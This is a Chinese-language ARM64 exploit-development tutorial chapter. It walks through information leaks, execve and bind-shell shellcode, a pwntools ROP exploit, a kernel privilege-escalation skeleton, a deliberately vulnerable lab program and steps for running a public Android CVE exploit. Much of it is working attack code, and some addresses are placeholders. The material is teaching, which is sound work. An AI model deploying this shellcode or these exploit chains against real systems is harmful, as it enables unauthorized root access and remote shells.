Skip to content

07 - Exploit 开发

完整 exploit 开发流程:信息泄露 → ROP → Shellcode。

概念速览

Exploit 开发流程:

发现漏洞 → 分析根因 → 控制执行流 → 提权/执行代码

具体步骤:
1. 信息泄露 (绕过 ASLR)
2. 触发漏洞 (控制 PC)
3. ROP Chain (绕过 DEP)
4. Shellcode 或 系统调用
5. 维持访问

本章目标: 完整走一遍从漏洞到 root 的过程。

信息泄露

为什么需要?

ASLR 每次运行地址不同:
libc:   0x7f8a12340000 (这次)
libc:   0x7f9b56780000 (下次)

没有信息泄露,无法构造 ROP chain

泄露技术

格式化字符串:

c
// 漏洞
printf(user_input);

// 利用
// %p 泄露栈上的地址
// %s 泄露任意地址内容

部分覆盖:

c
// 只覆盖低字节,高字节保持
// 0x7fff12345678
//           ^^── 覆盖这两个字节
// 利用返回值观察结果

未初始化内存:

c
char buf[100];  // 未初始化
// buf 中可能包含之前的地址信息
send(fd, buf, 100, 0);  // 泄露

内核信息泄露:

c
// /proc/kallsyms (需要权限)
// 或通过漏洞泄露内核地址
// dmesg 信息

Shellcode 编写

基本原则

位置无关:

asm
// 不能使用绝对地址
mov x0, =string     // ❌ 依赖链接地址

// 使用相对寻址
adr x0, string      // ✅ PC 相对

避免 NULL 字节:

asm
// 问题
mov x0, #0          // 编码可能包含 0x00

// 解决
eor x0, x0, x0      // 或
sub x0, x0, x0      // 或其他方式

小巧紧凑:

asm
// 越短越好
// 利用寄存器复用
// 合并指令

execve Shellcode

asm
// execve("/bin/sh", NULL, NULL)
.global _start
_start:
    // 清零寄存器
    mov x1, xzr             // argv = NULL
    mov x2, xzr             // envp = NULL
    
    // 构造 "/bin/sh"
    // 0x68732f6e69622f = "/bin/sh\0"
    mov x3, #0x622f
    movk x3, #0x6e69, lsl #16
    movk x3, #0x732f, lsl #32
    movk x3, #0x0068, lsl #48
    
    // 写入栈
    str x3, [sp, #-8]!
    mov x0, sp              // filename = sp
    
    // execve syscall
    mov x8, #221            // __NR_execve
    svc #0

编译提取:

bash
as -o shell.o shell.s
ld -o shell shell.o
objcopy -O binary shell shell.bin
xxd -i shell.bin

Bind Shell

asm
// 监听端口,等待连接,提供 shell
.global _start
_start:
    // socket(AF_INET, SOCK_STREAM, 0)
    mov x0, #2              // AF_INET
    mov x1, #1              // SOCK_STREAM
    mov x2, xzr             // protocol
    mov x8, #198            // __NR_socket
    svc #0
    mov x19, x0             // save sockfd
    
    // bind
    sub sp, sp, #16
    mov w3, #0x5c11         // port 4444 (BE: 0x115c)
    movk w3, #0x0002, lsl #16  // AF_INET
    str w3, [sp]
    str xzr, [sp, #4]       // INADDR_ANY
    
    mov x0, x19             // sockfd
    mov x1, sp              // addr
    mov x2, #16             // addrlen
    mov x8, #200            // __NR_bind
    svc #0
    
    // listen
    mov x0, x19
    mov x1, #1
    mov x8, #201            // __NR_listen
    svc #0
    
    // accept
    mov x0, x19
    mov x1, xzr
    mov x2, xzr
    mov x8, #202            // __NR_accept
    svc #0
    mov x19, x0             // client fd
    
    // dup2 for stdin/stdout/stderr
    mov x1, xzr
.Ldup2_loop:
    mov x0, x19
    mov x8, #24             // __NR_dup3
    svc #0
    add x1, x1, #1
    cmp x1, #3
    b.lt .Ldup2_loop
    
    // execve("/bin/sh", NULL, NULL)
    adr x0, .Lbinsh
    mov x1, xzr
    mov x2, xzr
    mov x8, #221
    svc #0

.Lbinsh:
    .asciz "/bin/sh"

完整 Exploit 流程

用户态 Exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'aarch64'
context.log_level = 'debug'

# 1. 连接目标
io = process("./vuln")
# io = remote("target", 1337)

# 2. 泄露 libc 地址
io.sendline(b"%p.%p.%p.%p.%p")
leak = io.recvline()
libc_leak = int(leak.split(b'.')[3], 16)
libc_base = libc_leak - 0x12345  # 根据偏移计算

log.info(f"libc base: {hex(libc_base)}")

# 3. 计算 gadget 和函数地址
system = libc_base + 0x45678
binsh = libc_base + 0x18abcd
pop_x0 = libc_base + 0x12345

# 4. 构造 ROP chain
payload = b"A" * 72                # 填充
payload += p64(pop_x0)             # gadget
payload += p64(binsh)              # /bin/sh 地址
payload += p64(system)             # system()

# 5. 发送 payload
io.sendline(payload)

# 6. 获取 shell
io.interactive()

内核 Exploit 框架

c
// kernel_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

// 地址 (需要泄露获取)
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;

// ROP gadgets
unsigned long pop_x0_ret;
unsigned long mov_x0_x19_ret;
unsigned long ret_to_user;

void get_root_shell() {
    if (getuid() == 0) {
        printf("[+] Root!\n");
        system("/bin/sh");
    } else {
        printf("[-] Exploit failed\n");
    }
}

void build_rop_chain(unsigned long *rop) {
    int i = 0;
    
    // prepare_kernel_cred(0)
    rop[i++] = pop_x0_ret;
    rop[i++] = 0;  // x0 = 0
    rop[i++] = prepare_kernel_cred;
    
    // commit_creds(new_cred)
    // 返回值在 x0,正好作为参数
    rop[i++] = commit_creds;
    
    // 返回用户态
    rop[i++] = ret_to_user;
    rop[i++] = (unsigned long)get_root_shell;  // 用户态地址
}

int main() {
    // 1. 信息泄露获取地址
    leak_kernel_addresses();
    
    // 2. 触发漏洞,执行 ROP
    unsigned long rop_chain[20];
    build_rop_chain(rop_chain);
    
    trigger_vulnerability(rop_chain);
    
    // 不应该到这里
    return 0;
}

CVE 案例分析

实战场景

Lab 1: 编写 Shellcode

目标: 编写执行 /bin/sh 的 shellcode

bash
# 创建 shellcode
cat > shell.s << 'EOF'
.global _start
_start:
    mov x1, xzr
    mov x2, xzr
    mov x3, #0x622f
    movk x3, #0x6e69, lsl #16
    movk x3, #0x732f, lsl #32
    movk x3, #0x0068, lsl #48
    str x3, [sp, #-8]!
    mov x0, sp
    mov x8, #221
    svc #0
EOF

# 编译
aarch64-linux-gnu-as -o shell.o shell.s
aarch64-linux-gnu-ld -o shell shell.o

# 测试
qemu-aarch64 ./shell

# 提取字节
aarch64-linux-gnu-objcopy -O binary shell shell.bin
xxd shell.bin

Lab 2: 构造完整 Exploit

目标: 利用栈溢出获取 shell

c
// target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    printf("Input: ");
    read(0, buf, 200);  // 溢出
}

int main() {
    setbuf(stdout, NULL);
    vuln();
    return 0;
}
python
# exploit.py
from pwn import *

context.arch = 'aarch64'

# 启动
io = process(['qemu-aarch64', '-g', '1234', './target'])
# 或直接
# io = process('./target')

# 构造 payload
shellcode = bytes.fromhex(
    "e1031faa"  # mov x1, xzr
    "e2031faa"  # mov x2, xzr
    # ... 完整 shellcode
)

# 使用 ROP 的方式 (假设有 gadget)
# 或者 ret2shellcode (如果栈可执行)

payload = b"A" * 72
payload += p64(0xdeadbeef)  # 返回地址

io.sendline(payload)
io.interactive()

Lab 3: 复现 CVE

bash
# 1. 设置环境
# Android 模拟器 (Android 9/10)
# 或有漏洞版本的物理设备

# 2. 获取 exploit
git clone https://github.com/example/cve-2019-2215.git

# 3. 交叉编译
aarch64-linux-android-gcc -o exploit exploit.c

# 4. 运行
adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit

防护绕过总结

防护绕过方式
ASLR信息泄露
Stack Canary泄露 canary 或跳过
DEP/NXROP
CFI利用合法目标
PAC泄露 key 或找未保护路径
KASLR内核信息泄露
PAN使用内核地址
SMEPROP 到内核代码

常见陷阱

❌ 陷阱 1: 环境差异

bash
# 本地能用,设备不能用
# 检查:
# - libc 版本不同
# - 内核版本不同
# - 安全配置不同

# 解决: 获取目标环境的精确版本

❌ 陷阱 2: 竞态不稳定

c
// UAF 竞态难以稳定触发
// 解决:
// - 增加线程
// - 调整优先级
// - 多次尝试
// - 增大竞态窗口

❌ 陷阱 3: 崩溃分析

bash
# exploit 失败后查看日志
adb shell dmesg | tail -50
adb logcat -d | grep -i crash

# 根据 PC 值判断问题
# - ROP gadget 错误
# - 地址计算错误
# - 栈对齐问题

深入阅读

推荐资源:

推荐工具:

  • pwntools
  • ROPgadget / ropper
  • GEF / pwndbg
  • Frida
  • Ghidra / IDA Pro

相关章节:

系列总结

ARM64 Assembly Essentials 完成!你现在应该能够:

  • ✅ 读写 ARM64 汇编代码
  • ✅ 理解调用约定和栈帧
  • ✅ 使用 GDB 和 Ghidra 调试逆向
  • ✅ 分析和构造 ROP chain
  • ✅ 理解常见内存漏洞
  • ✅ 开发完整 exploit

进阶方向

  1. Android 内核漏洞挖掘

    • Fuzzing (syzkaller)
    • 代码审计
  2. 硬件相关

    • TrustZone
    • Side-channel
  3. 浏览器漏洞

    • JavaScript 引擎
    • WebAssembly

继续学习: